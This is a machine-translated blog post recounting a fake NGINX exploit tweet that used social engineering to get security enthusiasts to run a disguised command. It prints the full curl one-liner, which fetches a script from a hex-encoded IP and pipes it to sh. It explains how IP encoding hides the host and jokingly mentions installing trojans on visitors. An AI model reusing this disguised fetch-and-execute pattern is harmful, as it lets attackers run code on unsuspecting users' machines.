注意事项 佩雷夫 :6月1日发布的原始文章的作者决定在对信息安全感兴趣的人们中进行实验。 为此,他为Web服务器中一个未公开的漏洞准备了一个伪造的漏洞利用程序,并将其发布在他的Twitter上。 他的假设-立即被看到代码中明显欺诈的专家暴露-不仅实现了……而且超出了所有人的预期,并且方向相反:该推文得到了许多未检查其内容的人的大力支持。
TL; DR:切勿在sh或bash中使用文件流水线。 这是失去计算机控制权的好方法。 我想与您分享有关5月31日创建的漫画PoC漏洞的简短故事。 他迅速回应
零日倡议 (ZDI)成员
Alisa Esage Shevchenko的消息,很快就会透露有关NGINX中导致RCE(远程代码执行)的漏洞的信息。 由于NGINX是许多网站的基础,因此该新闻原本应该产生爆炸炸弹的效果。 但是由于“负责任的信息披露”流程的延迟,所发生事件的细节尚不清楚-这是标准的ZDI程序。
NGINX漏洞披露鸣叫在完成了关于curl的新混淆技术的工作之后,我引用了原始推文并“泄露了有效的PoC”,其中包括一行代码,据说这行代码使用了发现的漏洞。 当然,这完全是胡说八道。 我以为他们会立即将我带到干净的水中,充其量我会得到几条转发(好)。
虚假漏洞利用鸣叫但是,我无法想象接下来会发生什么。 我的推文的人气飞涨。 令人惊讶的是,目前(6月1日莫斯科时间15:00),到目前为止,很少有人意识到这是假货。 许多人不经检查就转发了它(更不用说欣赏它显示的可爱ASCII图形了)。
只是看看多么美丽!尽管所有这些循环和颜色都很棒,但是当然:要看到它们,人们就在他们的机器上执行了代码。 幸运的是,浏览器的工作原理类似,并且结合了我根本不需要法律问题的事实,隐藏在我网站中的代码只是进行了回叫,而无需尝试安装或执行任何其他代码。
一个小的题外话:
netspooky ,
dnz ,我和
Thugcrowd团队的其他人一直在用各种方法来混淆curl命令,因为它很酷……而且我们是极客。 netspooky和dnz发现了对我来说极有希望的几种新方法。 我加入了乐趣,并尝试将IP小数转换添加到一组技巧中。 原来,IP也可以转换为十六进制。 而且,curl和大多数其他NIX工具都乐于使用十六进制IP! 因此,所需要做的只是简单地创建一个令人信服且外观安全的命令行。 我最终决定了:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
社会电子工程(SEE)-不仅仅是网上诱骗
安全性和习惯是该实验的主要部分。 我认为正是他们促成了他的成功。 命令行显式隐含了安全性,指的是“ 127.0.0.1”(众所周知的localhost)。 据信,本地主机是安全的,其上的数据永远不会离开您的计算机。
适居性是该实验的第二个关键SEE组件。 由于目标受众主要是由熟悉计算机安全基础知识的人员组成,因此创建这样的代码以使其各部分看起来既熟悉又熟悉(因此安全)非常重要。 借用旧的漏洞利用概念的要素并将其以不寻常的方式组合在一起非常成功。
以下是对单行的详细分析。
此列表中的所有内容本质上都是装饰性的 ,实际上不需要任何操作。真正需要什么组件? 它们是
-gsS
,
-O 0x0238f06a
,
|sh
和Web服务器本身。 Web服务器不包含任何恶意指令,而只是使用
index.html
包含的脚本中的
echo
命令传输ASCII图形。 当用户输入中间带有
|sh
的行时,将加载并执行
index.html
。 幸运的是,Web服务器管理员没有恶意的意图。
../../../%00
描述目录外的出口;ngx_stream_module.so
随机NGINX模块的路径;/bin/sh%00\<'protocol:TCP'
我们应该在目标机器上运行/bin/sh
并将输出重定向到TCP通道;-O 0x0238f06a#PLToffset
由#PLToffset
补充的秘密成分,看起来像是PLT中包含的内存偏移;|sh;
-另一个重要的部分。 我们需要将输出重定向到sh / bash,以便执行来自位于0x0238f06a
( 2.56.240.x
)的攻击性Web服务器的代码;nc /dev/tcp/localhost
一个虚拟对象,其中netcat引用/dev/tcp/localhost
以便使所有内容再次看起来安全。 实际上,它什么都不做,并且包含在美容系列中。
这样就结束了对单行脚本的解码以及对“社会电子工程”(复杂的网络钓鱼)方面的讨论。
Web服务器的配置及对策
由于我的绝大多数订户都是信息安全/黑客,因此我决定使Web服务器对他们的“兴趣”表现更具抵抗力,以使这些人有事要做(设置它很有趣)。 由于实验仍在进行中,因此我将不在此处列出所有陷阱,但是服务器会执行以下操作:
- 积极监控某些社交网络上的分发尝试,并替换各种预览缩略图以鼓励用户点击链接。
- 将Chrome / Mozilla / Safari /等重定向到Thugcrowd促销视频,而不显示shell脚本。
- 它监视明显的入侵/黑客迹象,然后开始将请求重定向到NSA服务器(ha!)。
- 在用户通过常规浏览器访问主机的所有计算机上安装特洛伊木马程序以及rootkit BIOS。
一小部分抗体在这种情况下,我唯一的目标是学习Apache的某些功能-特别是重定向请求的出色规则-我想:为什么不呢?
NGINX漏洞利用(真实!)
在Twitter上
关注@alisaesage ,并
密切关注ZDI在消除NGINX中完全真实的漏洞和利用机会方面的出色工作。 他们的工作一直让我着迷,我感谢爱丽丝对我的愚蠢鸣叫所引起的所有提及和通知的耐心等待。 幸运的是,它确实带来了一些好处:它有助于提高对NGINX漏洞以及卷发滥用引起的问题的认识。